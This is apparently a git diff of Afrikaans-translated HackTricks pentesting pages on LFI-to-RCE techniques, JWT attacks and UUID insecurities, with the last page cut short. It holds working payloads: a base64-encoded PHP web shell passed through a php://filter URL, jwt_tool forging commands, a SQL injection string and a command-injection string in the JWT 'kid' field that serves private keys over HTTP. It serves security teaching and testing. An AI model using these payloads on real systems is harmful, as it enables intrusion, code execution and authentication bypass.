Die logboeke vir die FTP-bediener vsftpd is geleë by _**/var/log/vsftpd.log**_. In die scenario waar 'n Plaaslike Lêer Insluiting (LFI) kwesbaarheid bestaan, en toegang tot 'n blootgestelde vsftpd-bediener moontlik is, kan die volgende stappe oorweeg word:
|
||||
|
||||
1. Spuit 'n PHP-lading in die gebruikersnaamveld tydens die aanmeldingsproses.
|
||||
2. Na inspuiting, gebruik die LFI om die bedienerslogboeke van _**/var/log/vsftpd.log**_ te herwin.
|
||||
2. Na inspuiting, gebruik die LFI om die bedienerlogboeke van _**/var/log/vsftpd.log**_ te herwin.
|
||||
|
||||
### Via php base64 filter (gebruik base64)
|
||||
|
||||
Soos aangedui in [hierdie](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artikel, ignoreer PHP base64 filter net Nie-base64. Jy kan dit gebruik om die lêeruitbreidingskontrole te omseil: as jy base64 voorsien wat eindig met ".php", sal dit net die "." ignoreer en "php" byvoeg by die base64. Hier is 'n voorbeeldlading:
|
||||
Soos getoon in [hierdie](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artikel, ignoreer PHP base64 filter net Nie-base64. Jy kan dit gebruik om die lêeruitbreidingskontrole te omseil: as jy base64 voorsien wat eindig met ".php", sal dit net die "." ignoreer en "php" byvoeg by die base64. Hier is 'n voorbeeldlading:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
|
@ -580,7 +588,7 @@ Hierdie [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e2
|
|||
|
||||
### Via Nginx temp file storage
|
||||
|
||||
As jy 'n **Local File Inclusion** gevind het en **Nginx** voor PHP hardloop, kan jy dalk RCE verkry met die volgende tegniek:
|
||||
As jy 'n **Local File Inclusion** gevind het en **Nginx** voor PHP hardloop, kan jy moontlik RCE verkry met die volgende tegniek:
|
||||
|
||||
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
|
||||
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
|
||||
|
@ -588,7 +596,7 @@ As jy 'n **Local File Inclusion** gevind het en **Nginx** voor PHP hardloop, kan
|
|||
|
||||
### Via PHP\_SESSION\_UPLOAD\_PROGRESS
|
||||
|
||||
As jy 'n **Local File Inclusion** gevind het selfs al het jy **nie 'n sessie** nie en `session.auto_start` is `Off`. As jy die **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data voorsien, sal PHP die sessie vir jou **aktiveer**. Jy kan dit misbruik om RCE te kry:
|
||||
As jy 'n **Local File Inclusion** gevind het selfs al het jy **nie 'n sessie** nie en `session.auto_start` is `Off`. As jy die **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data voorsien, sal PHP die sessie **vir jou aktiveer**. Jy kan dit misbruik om RCE te kry:
|
||||
|
||||
{% content-ref url="via-php_session_upload_progress.md" %}
|
||||
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
|
||||
|
@ -596,7 +604,7 @@ As jy 'n **Local File Inclusion** gevind het selfs al het jy **nie 'n sessie** n
|
|||
|
||||
### Via temp file uploads in Windows
|
||||
|
||||
As jy 'n **Local File Inclusion** gevind het en die bediener in **Windows** hardloop, kan jy dalk RCE kry:
|
||||
As jy 'n **Local File Inclusion** gevind het en die bediener in **Windows** hardloop, kan jy RCE kry:
|
||||
|
||||
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
|
||||
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
|
||||
|
@ -620,7 +628,7 @@ As jy 'n **Local File Inclusion** gevind het en jy die pad van die tydelike lêe
|
|||
|
||||
### Via eternal waiting + bruteforce
|
||||
|
||||
As jy die LFI kan misbruik om **tydelike lêers te laai** en die bediener die PHP-uitvoering **hang**, kan jy dan **filenames ure lank** brute force om die tydelike lêer te vind:
|
||||
As jy die LFI kan misbruik om **tydelike lêers te laai** en die bediener die PHP-uitvoering **hang**, kan jy daarna **lange ure lank lêernaam brute force** om die tydelike lêer te vind:
|
||||
|
||||
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
|
||||
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
|
||||
|
@ -646,13 +654,13 @@ _Selfs as jy 'n PHP Fatale Fout veroorsaak, word tydelike lêers wat geüpload i
|
|||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!
|
||||
|
||||
**Hacking Insights**\
|
||||
Betrokkenheid by inhoud wat die opwinding en uitdagings van hack bevat
|
||||
**Hack-insigte**\
|
||||
Raak betrokke by inhoud wat die opwinding en uitdagings van hack weergee
|
||||
|
||||
**Real-Time Hack News**\
|
||||
**Nuus oor Hack in Werklikheid**\
|
||||
Bly op hoogte van die vinnige hackwêreld deur middel van nuus en insigte in werklikheid
|
||||
|
||||
**Nuutste Aankondigings**\
|
||||
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en noodsaaklike platformopdaterings
|
||||
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings
|
||||
|
||||
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
|
||||
|
|
File diff suppressed because one or more lines are too long
|
@ -14,9 +14,9 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hakloopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
As jy belangstel in 'n **hakloopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -25,7 +25,7 @@ As jy belangstel in 'n **hakloopbaan** en die onhackbare wil hack - **ons is aan
|
|||
|
||||
### **Vinnige Wenke**
|
||||
|
||||
Hardloop [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) met die modus `All Tests!` en wag vir groen lyne
|
||||
Hardloop [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) met die modus `Alle Toetse!` en wag vir groen lyne
|
||||
```bash
|
||||
python3 jwt_tool.py -M at \
|
||||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||||
|
@ -39,7 +39,9 @@ Daarna kan jy die versoek in jou proksi soek of die gebruikte JWT vir daardie ve
|
|||
```bash
|
||||
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||||
```
|
||||
### Wysig data sonder om iets te verander
|
||||
### Gebruik ook die [**Burp-uitbreiding SignSaboteur**](https://github.com/d0ge/sign-saboteur) om JWT-aanvalle vanuit Burp te lanceer.
|
||||
|
||||
### Verander data sonder om iets te wysig
|
||||
|
||||
Jy kan net met die data mors sonder om die handtekening te verander en kyk of die bediener die handtekening nagaan. Probeer byvoorbeeld jou gebruikersnaam na "admin" verander.
|
||||
|
||||
|
@ -55,31 +57,31 @@ Om te kyk of 'n JWT se handtekening geverifieer word:
|
|||
|
||||
Dit is belangrik om vas te stel of die token serverkant of kliëntkant gegenereer is deur die geskiedenis van die proksi se versoek te ondersoek.
|
||||
|
||||
* Tokens wat eerste gesien word van die kliëntkant dui daarop dat die sleutel blootgestel kan word aan kliëntkant-kode, wat verdere ondersoek noodsaaklik maak.
|
||||
* Tokens wat van die bedienerkant afkomstig is, dui op 'n veilige proses.
|
||||
* Tokens wat eerste gesien word van die kliëntkant af dui daarop dat die sleutel blootgestel kan word aan kliëntkant-kode, wat verdere ondersoek noodsaaklik maak.
|
||||
* Tokens wat van die kant van die bediener afkomstig is, dui op 'n veilige proses.
|
||||
|
||||
### Duur
|
||||
|
||||
Kyk of die token langer as 24 uur hou... dalk verval dit nooit nie. As daar 'n "exp" veld is, kyk of die bediener dit korrek hanteer.
|
||||
Kyk of die token langer as 24 uur hou... miskien verval dit nooit nie. As daar 'n "exp"-veld is, kyk of die bediener dit korrek hanteer.
|
||||
|
||||
### Brute-force HMAC-geheim
|
||||
### Brute-krag HMAC-geheim
|
||||
|
||||
[**Sien hierdie bladsy.**](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||||
[Sien hierdie bladsy.](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||||
|
||||
### Verander die algoritme na None
|
||||
|
||||
Stel die gebruikte algoritme in as "None" en verwyder die handtekeninggedeelte.
|
||||
|
||||
Gebruik die Burp-uitbreiding genaamd "JSON Web Token" om hierdie kwesbaarheid te toets en verskillende waardes binne die JWT te verander (stuur die versoek na Repeater en in die "JSON Web Token"-tab kan jy die waardes van die token wysig. Jy kan ook kies om die waarde van die "Alg"-veld na "None" te stel).
|
||||
Gebruik die Burp-uitbreiding "JSON Web Token" om hierdie kwesbaarheid te probeer en om verskillende waardes binne die JWT te verander (stuur die versoek na Repeater en in die "JSON Web Token"-oortjie kan jy die waardes van die token wysig. Jy kan ook kies om die waarde van die "Alg"-veld na "None" te stel).
|
||||
|
||||
### Verander die algoritme van RS256(asimmetries) na HS256(simetries) (CVE-2016-5431/CVE-2016-10555)
|
||||
### Verander die algoritme RS256(asimmetries) na HS256(simetries) (CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
Die algoritme HS256 gebruik die geheime sleutel om elke boodskap te teken en te verifieer.\
|
||||
Die algoritme RS256 gebruik die privaatsleutel om die boodskap te teken en gebruik die openbare sleutel vir verifikasie.
|
||||
|
||||
As jy die algoritme van RS256 na HS256 verander, gebruik die agterkant-kode die openbare sleutel as die geheime sleutel en gebruik dan die HS256-algoritme om die handtekening te verifieer.
|
||||
|
||||
Daarna, deur die openbare sleutel te gebruik en RS256 na HS256 te verander, kan ons 'n geldige handtekening skep. Jy kan die sertifikaat van die webbediener ophaal wat dit uitvoer deur dit te doen:
|
||||
Daarna, deur die openbare sleutel te gebruik en RS256 na HS256 te verander, kan ons 'n geldige handtekening skep. Jy kan die sertifikaat van die webbediener ophaal deur dit uit te voer:
|
||||
```bash
|
||||
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
||||
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||
|
@ -89,16 +91,16 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
|||
'n Aanvaller sluit 'n nuwe sleutel in die kop van die token in en die bediener gebruik hierdie nuwe sleutel om die handtekening te verifieer (CVE-2018-0114).
|
||||
|
||||
Dit kan gedoen word met die "JSON Web Tokens" Burp-uitbreiding.\
|
||||
(Stuur die versoek na die Herhaler, kies "CVE-2018-0114" binne die JSON Web Token-tabblad en stuur die versoek).
|
||||
(Stuur die versoek na die Herhaler, kies "CVE-2018-0114" in die JSON Web Token-tabblad en stuur die versoek).
|
||||
|
||||
### JWKS Spoofing
|
||||
|
||||
Die instruksies beskryf 'n metode om die sekuriteit van JWT-tokens te assesseer, veral dié wat 'n "jku" kop-aanspraak gebruik. Hierdie aanspraak behoort te skakel na 'n JWKS (JSON Web Key Set) lêer wat die openbare sleutel bevat wat nodig is vir die token se verifikasie.
|
||||
|
||||
* **Assessering van Tokens met "jku" Kop**:
|
||||
* Verifieer die URL van die "jku" aanspraak om te verseker dat dit na die toepaslike JWKS-lêer lei.
|
||||
* Verifieer die URL van die "jku" aanspraak om te verseker dat dit lei na die toepaslike JWKS-lêer.
|
||||
* Wysig die "jku" waarde van die token om te verwys na 'n beheerde webdiens, wat verkeerswaarneming moontlik maak.
|
||||
* **Monitering vir HTTP Interaksie**:
|
||||
* **Monitering vir HTTP-interaksie**:
|
||||
* Die waarneming van HTTP-versoeke na jou gespesifiseerde URL dui aan dat die bediener poog om sleutels van jou voorsiene skakel te haal.
|
||||
* Wanneer jy `jwt_tool` vir hierdie proses gebruik, is dit noodsaaklik om die `jwtconf.ini` lêer met jou persoonlike JWKS-plek op te dateer om die toetsing te fasiliteer.
|
||||
* **Opdrag vir `jwt_tool`**:
|
||||
|
@ -118,23 +120,23 @@ Wanneer die `kid` aanspraak teenwoordig is in die kop, word dit aanbeveel om die
|
|||
|
||||
#### Padtraversering met "kid"
|
||||
|
||||
Die `kid` aanspraak kan ook uitgebuit word om deur die lêerstelsel te navigeer, wat moontlik die keuse van 'n willekeurige lêer toelaat. Dit is moontlik om vir konnektiwiteit te toets of Bedienerkant Aanvraagvergiffenis (SSRF) aanvalle uit te voer deur die `kid` waarde te verander om spesifieke lêers of dienste te teiken. Die manipulasie van die JWT om die `kid` waarde te verander terwyl die oorspronklike handtekening behoue bly, kan bereik word deur die `-T` vlag in jwt\_tool te gebruik, soos hieronder gedemonstreer:
|
||||
Die `kid` aanspraak kan ook uitgebuit word om deur die lêerstelsel te navigeer, wat moontlik die keuse van 'n willekeurige lêer toelaat. Dit is moontlik om vir konnektiwiteit te toets of Server-Side Request Forgery (SSRF) aanvalle uit te voer deur die `kid` waarde te verander om spesifieke lêers of dienste te teiken. Die manipulasie van die JWT om die `kid` waarde te verander terwyl die oorspronklike handtekening behoue bly, kan bereik word deur die `-T` vlag in jwt\_tool te gebruik, soos hieronder gedemonstreer:
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
Deur te mik op lêers met voorspelbare inhoud, is dit moontlik om 'n geldige JWT te vervals. Byvoorbeeld, die `/proc/sys/kernel/randomize_va_space` lêer in Linux-stelsels, wat bekend is om die waarde **2** te bevat, kan gebruik word in die `kid` parameter met **2** as die simmetriese wagwoord vir JWT-generering.
|
||||
By teikenlêers met voorspelbare inhoud te teiken, is dit moontlik om 'n geldige JWT te vervals. Byvoorbeeld, die `/proc/sys/kernel/randomize_va_space` lêer in Linux-stelsels, wat bekend is om die waarde **2** te bevat, kan gebruik word in die `kid` parameter met **2** as die simmetriese wagwoord vir JWT-generering.
|
||||
|
||||
#### SQL-injeksie via "kid"
|
||||
|
||||
As die inhoud van die `kid` bewering gebruik word om 'n wagwoord uit 'n databasis te haal, kan 'n SQL-injeksie gefasiliteer word deur die `kid` payload te wysig. 'n Voorbeeld-payload wat SQL-injeksie gebruik om die JWT-ondertekeningsproses te wysig, sluit in:
|
||||
As die inhoud van die `kid` bewering gebruik word om 'n wagwoord uit 'n databasis te haal, kan 'n SQL-injeksie gefasiliteer word deur die `kid` lading te wysig. 'n Voorbeeldlading wat SQL-injeksie gebruik om die JWT-ondertekeningsproses te wysig, sluit in:
|
||||
|
||||
`non-bestaande-indeks' UNION SELECT 'AANVALLER';-- -`
|
||||
|
||||
Hierdie wysiging dwing die gebruik van 'n bekende geheime sleutel, `AANVALLER`, vir JWT-ondertekening.
|
||||
|
||||
#### OS-injeksie deur "kid"
|
||||
#### BS-injeksie deur "kid"
|
||||
|
||||
'N Scenario waar die `kid` parameter 'n lêerpad spesifiseer wat binne 'n beveluitvoeringskonteks gebruik word, kan lei tot Remote Code Execution (RCE) kwesbaarhede. Deur bevele in die `kid` parameter in te spuit, is dit moontlik om private sleutels bloot te stel. 'n Voorbeeld-payload om RCE en sleutelblootstelling te bereik is:
|
||||
'n Scenario waar die `kid` parameter 'n lêerpad spesifiseer wat binne 'n beveluitvoerkonteks gebruik word, kan lei tot Remote Code Execution (RCE) kwesbaarhede. Deur bevele in die `kid` parameter in te spuit, is dit moontlik om private sleutels bloot te stel. 'n Voorbeeldlading om RCE en sleutelblootstelling te bereik is:
|
||||
|
||||
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
|
||||
|
@ -143,9 +145,9 @@ Hierdie wysiging dwing die gebruik van 'n bekende geheime sleutel, `AANVALLER`,
|
|||
#### jku
|
||||
|
||||
jku staan vir **JWK Set URL**.\
|
||||
As die token 'n "**jku**" **Header** bewering gebruik, **kyk na die voorsiene URL**. Dit behoort te wys na 'n URL wat die JWKS-lêer bevat wat die Openbare Sleutel vir die verifikasie van die token bevat. Manipuleer die token om die jku-waarde te wys na 'n webdiens waar jy verkeer kan monitor.
|
||||
As die token 'n "**jku**" **Header** bewering gebruik, moet jy die verskafte URL **ondersoek**. Dit behoort te wys na 'n URL wat die JWKS-lêer bevat wat die Openbare Sleutel vir die verifikasie van die token bevat. Manipuleer die token om die jku-waarde na 'n webdiens te wys waar jy verkeer kan monitor.
|
||||
|
||||
Eerstens moet jy 'n nuwe sertifikaat skep met nuwe privaat- en openbare sleutels.
|
||||
Eerstens moet jy 'n nuwe sertifikaat skep met nuwe privaat- en openbare sleutels
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
|
@ -164,11 +166,11 @@ print("e:", hex(key.e))
|
|||
```
|
||||
#### x5u
|
||||
|
||||
X.509 URL. 'n URI wat wys na 'n stel X.509 ( 'n sertifikaatformaatstandaard) openbare sertifikate wat in PEM-vorm gekodeer is. Die eerste sertifikaat in die stel moet die een wees wat gebruik is om hierdie JWT te onderteken. Die opeenvolgende sertifikate onderteken elk die vorige een, wat dus die sertifikaatketting voltooi. X.509 word gedefinieer in RFC 52807. Vervoersekuriteit is nodig om die sertifikate oor te dra.
|
||||
X.509 URL. 'n URI wat na 'n stel X.509 ( 'n sertifikaat-formaatstandaard) openbare sertifikate wat in PEM-vorm gekodeer is, wys. Die eerste sertifikaat in die stel moet die een wees wat gebruik is om hierdie JWT te onderteken. Die opeenvolgende sertifikate onderteken elk die vorige een, wat dus die sertifikaatketting voltooi. X.509 word gedefinieer in RFC 52807 . Vervoersekuriteit is nodig om die sertifikate oor te dra.
|
||||
|
||||
Probeer om **hierdie kopnaam na 'n URL onder jou beheer** te verander en kyk of enige versoek ontvang word. In daardie geval **kan jy die JWT vervals**.
|
||||
Probeer om **hierdie kopnaam na 'n URL onder jou beheer te verander** en kyk of enige versoek ontvang word. In daardie geval **kan jy die JWT vervals**.
|
||||
|
||||
Om 'n nuwe token te vervals met behulp van 'n sertifikaat wat deur jou beheer word, moet jy die sertifikaat skep en die openbare en private sleutels onttrek:
|
||||
Om 'n nuwe token te vervals deur 'n sertifikaat wat deur jou beheer word te gebruik, moet jy die sertifikaat skep en die openbare en private sleutels onttrek:
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||||
|
@ -177,15 +179,15 @@ Dan kan jy byvoorbeeld [**jwt.io**](https://jwt.io) gebruik om die nuwe JWT te s
|
|||
|
||||
![](<../.gitbook/assets/image (956).png>)
|
||||
|
||||
Jy kan ook beide van hierdie kwesbaarhede misbruik **vir SSRFs**.
|
||||
Jy kan ook beide van hierdie kwesbaarhede **misbruik vir SSRFs**.
|
||||
|
||||
#### x5c
|
||||
|
||||
Hierdie parameter kan die **sertifikaat in base64** bevat:
|
||||
Hierdie parameter kan die **sertifikaat in base64-formaat** bevat:
|
||||
|
||||
![](<../.gitbook/assets/image (1119).png>)
|
||||
|
||||
As die aanvaller **'n self-ondertekende sertifikaat genereer** en 'n vervalsde token skep deur die ooreenstemmende private sleutel te gebruik en die waarde van die "x5c" parameter te vervang met die nuut gegenereerde sertifikaat en die ander parameters aan te pas, naamlik n, e en x5t, sal die vervalsde token in wese deur die bediener aanvaar word.
|
||||
Indien die aanvaller **'n self-ondertekende sertifikaat genereer** en 'n vervalsde token skep deur die ooreenstemmende private sleutel te gebruik en die waarde van die "x5c" parameter te vervang met die nuut gegenereerde sertifikaat en die ander parameters aanpas, naamlik n, e en x5t, sal die vervalsde token in wese deur die bediener aanvaar word.
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||
openssl x509 -in attacker.crt -text
|
||||
|
@ -224,14 +226,14 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
|
|||
```
|
||||
### ES256: Openbaarmaking van die privaatsleutel met dieselfde nonce
|
||||
|
||||
Indien sommige toepassings ES256 gebruik en dieselfde nonce gebruik om twee jwts te genereer, kan die privaatsleutel herstel word.
|
||||
As sommige toepassings ES256 gebruik en dieselfde nonce gebruik om twee jwts te genereer, kan die privaatsleutel herstel word.
|
||||
|
||||
Hier is 'n voorbeeld: [ECDSA: Openbaarmaking van die privaatsleutel, indien dieselfde nonce gebruik word (met SECP256k1)](https://asecuritysite.com/encryption/ecd5)
|
||||
|
||||
### JTI (JWT ID)
|
||||
|
||||
Die JTI (JWT ID) eis bied 'n unieke identifiseerder vir 'n JWT-token. Dit kan gebruik word om te voorkom dat die token herhaal word.\
|
||||
Stel jou voor, 'n situasie waar die maksimum lengte van die ID 4 is (0001-9999). Die versoek 0001 en 10001 gaan dieselfde ID gebruik. As die agterkant die ID verhoog met elke versoek, kan jy hierdie misbruik om 'n versoek te **herhaal** (jy moet 10000 versoek tussen elke suksesvolle herhaling stuur).
|
||||
Stel jou voor, 'n situasie waar die maksimum lengte van die ID 4 is (0001-9999). Die versoek 0001 en 10001 gaan dieselfde ID gebruik. Dus, as die agterkant die ID verhoog met elke versoek, kan jy hierdie misbruik om 'n versoek te **herhaal** (jy moet 10000 versoek stuur tussen elke suksesvolle herhaling).
|
||||
|
||||
### JWT Geregistreerde eise
|
||||
|
||||
|
@ -241,23 +243,23 @@ Stel jou voor, 'n situasie waar die maksimum lengte van die ID 4 is (0001-9999).
|
|||
|
||||
**Kruisdiens-relay-aanvalle**
|
||||
|
||||
Dit is waargeneem dat sommige webtoepassings staatmaak op 'n vertroude JWT-diens vir die generering en bestuur van hul tokens. Gevalle is aangeteken waar 'n token, gegenereer vir een klient deur die JWT-diens, deur 'n ander klient van dieselfde JWT-diens aanvaar is. As die uitreiking of hernuwing van 'n JWT via 'n derdepartydiens waargeneem word, moet die moontlikheid om vir 'n rekening aan te meld op 'n ander klient van daardie diens met dieselfde gebruikersnaam/e-pos ondersoek word. 'n Poging moet dan aangewend word om die verkryde token in 'n versoek na die teiken te herhaal om te sien of dit aanvaar word.
|
||||
Dit is waargeneem dat sommige webtoepassings staatmaak op 'n vertroude JWT-diens vir die generering en bestuur van hul tokens. Gevalle is aangeteken waar 'n token, gegenereer vir een klient deur die JWT-diens, aanvaar is deur 'n ander klient van dieselfde JWT-diens. As die uitreiking of hernuwing van 'n JWT via 'n derdepartydiens waargeneem word, moet die moontlikheid om vir 'n rekening aan te meld op 'n ander klient van daardie diens met dieselfde gebruikersnaam/e-pos ondersoek word. 'n Poging moet dan aangewend word om die verkryde token in 'n versoek na die teiken te herhaal om te sien of dit aanvaar word.
|
||||
|
||||
* 'n Kritieke kwessie kan aangedui word deur die aanvaarding van jou token, wat moontlik die vervalsing van enige gebruiker se rekening kan toelaat. Dit moet egter genoteer word dat toestemming vir wyer toetsing benodig kan word indien aanmelding op 'n derdepartytoepassing, aangesien dit 'n regsgrys gebied kan betree.
|
||||
* 'n Kritieke kwessie kan aangedui word deur die aanvaarding van jou token, wat moontlik die vervalsing van enige gebruiker se rekening kan toelaat. Dit moet egter opgemerk word dat toestemming vir wyer toetsing nodig kan wees as jy aanmeld by 'n derdepartytoepassing, aangesien dit 'n regsgrys gebied kan betree.
|
||||
|
||||
**Vervaltoets van tokens**
|
||||
|
||||
Die verval van die token word nagegaan deur die "exp" Lading eis. Gegewe dat JWT's dikwels sonder sessie-inligting gebruik word, is sorgvuldige hantering vereis. In baie gevalle kan die vaslegging en herhaling van 'n ander gebruiker se JWT die persoonifikasie van daardie gebruiker moontlik maak. Die JWT RFC beveel aan om JWT-herhaalaanvalle te verminder deur die "exp" eis te gebruik om 'n vervaltyd vir die token in te stel. Verder is die implementering van relevante kontroles deur die aansoek om te verseker dat die verwerking van hierdie waarde en die verwerping van verstreke tokens krities is. As die token 'n "exp" eis insluit en toetstydlimiete dit toelaat, word dit aanbeveel om die token te stoor en dit na die vervaltyd te herhaal. Die inhoud van die token, insluitend tydstempelontleding en vervaltoetsing (tydstempel in UTC), kan gelees word deur die jwt\_tool se -R vlag te gebruik.
|
||||
Die verval van die token word nagegaan deur die "exp" Lading eis. Gegewe dat JWT's dikwels sonder sessie-inligting gebruik word, is sorgvuldige hantering vereis. In baie gevalle kan die vaslegging en herhaling van 'n ander gebruiker se JWT die persoonifikasie van daardie gebruiker moontlik maak. Die JWT RFC beveel aan om JWT-herhaalaanvalle te versag deur die "exp" eis te gebruik om 'n vervaltyd vir die token in te stel. Verder is die implementering van relevante kontroles deur die aansoek om te verseker dat die verwerking van hierdie waarde en die verwerping van verstreke tokens wat verval het, noodsaaklik is. As die token 'n "exp" eis insluit en toetstydlimiete dit toelaat, word dit aanbeveel om die token te stoor en dit na die vervaltyd te herhaal. Die inhoud van die token, insluitend tydstempelontleding en vervaltoetsing (tydstempel in UTC), kan gelees word deur die jwt\_tool se -R vlag te gebruik.
|
||||
|
||||
* 'n Sekuriteitsrisiko kan teenwoordig wees indien die aansoek steeds die token valideer, aangesien dit kan impliseer dat die token nooit kan verval nie.
|
||||
* 'n Sekuriteitsrisiko kan teenwoordig wees as die aansoek nog steeds die token valideer, aangesien dit kan impliseer dat die token nooit kan verval nie.
|
||||
|
||||
### Gereedskap
|
||||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Indien jy belangstel in 'n **hackerloopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
As jy belangstel in 'n **hakerloopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiend Pools geskrewe en gesproke vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -271,6 +273,6 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* **Deel jou hakerstruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
90
pentesting-web/uuid-insecurities.md
Normal file
90
pentesting-web/uuid-insecurities.md
Normal file
|
@ -0,0 +1,90 @@
|
|||
# UUID Onsekerhede
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
Universally Unique Identifiers (UUIDs) is **128-bits getalle wat gebruik word om inligting uniek te identifiseer** in rekenaarsisteme. UUIDs is noodsaaklik in toepassings waar unieke identifiseerders nodig is sonder sentrale koördinasie. Hulle word algemeen gebruik as databasis sleutels en kan na verskeie elemente soos dokumente en sessies verwys.
|
||||
|
||||
UUIDs is ontwerp om uniek en **moeilik om te raai** te wees. Hulle is gestruktureer in 'n spesifieke formaat, verdeel in vyf groepe wat voorgestel word as 32 heksadesimale syfers. Daar is verskillende weergawes van UUIDs, elkeen met verskillende doeleindes:
|
||||
|
||||
